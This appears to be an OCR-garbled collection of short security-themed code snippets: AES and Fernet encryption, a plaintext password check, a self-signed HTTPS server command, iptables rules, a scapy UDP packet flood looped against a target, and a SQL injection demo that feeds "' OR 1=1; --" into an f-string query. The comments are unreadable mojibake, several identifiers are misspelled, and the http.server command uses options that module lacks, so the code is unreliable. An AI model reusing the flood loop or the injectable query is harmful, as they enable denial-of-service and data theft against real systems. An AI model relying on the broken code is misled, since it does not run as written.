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from Crypto.Cipher import AES
from Crypto.Random import get random bytes

# AE— 11 6F TIHY RS
key = get random bytes (16)

# OIEAESHIZE 75
cipher = AES.new(key, AES.MODE EAX)

# IR
data = "Hello, world!"

# I
ciphertext, tag = cipher.encrypt and digest (data.encode ('utf-8"))
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# FTHIIIE &
print (ciphertext)

# BEEEOE
cipher = AES.new(key, AES.MODE EAX, nonce=cipher.nonce)
plaintext = cipher.decrypt (ciphertext)

# FIHIEE SR
print (plaintext.decode ('utf-8"))
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# BRE— I P

users = {
"alice": "wonderland",
"bob": "builder",
"eve": "secret"

def authenticate (username, password):
# B H AR A VT
if username in users and users[username] == password:
return True
else:
return False

M5 (7755 1iF
prlnt(authentlcate("alice", "wonderland")) # HytH: True
print (authenticate ("bob", "wrongpassword")) # Zjti: False
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openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem
-days 365 -nodes

python -m http.server 443 --bind 0.0.0.0 --directory /path/to/your/
webroot --certfile cert.pem --keyfile key.pem
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from scapy.all import IP, UDP, send, RandShort

# 14 1PHIUDPH]

ip = IP(dst="target ip")

udp = UDP (sport=RandShort (), dport=80)
packet = ip/udp

# RIEKXEH
send (packet, loop=1, verbose=0)
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import sglite3

# EREE
conn = sqglite3.connect ('example.db')
cursor = conn.cursor ()

# EERA
user input = "' OR 1=1; --"

# PATTSOLEA

cursor.execute (f"SELECT * FROM users WHERE
username="'{user input}'")

results = cursor.fetchall ()

print (results)

# RHERE

conn.close ()
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# TEZERTE ST S SHAVEFE 1A,
iptables -A INPUT -p tcp —--dport 22 -j DROP

# TVFFEE IPALAE TG [RIwe bR 55
iptables -A INPUT -p tcp --dport 80 -s 192.168.1.100 -j
ACCEPT
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from cryptography.fernet import Fernet

# AR
key = Fernet.generate key ()
cipher suite = Fernet (key)
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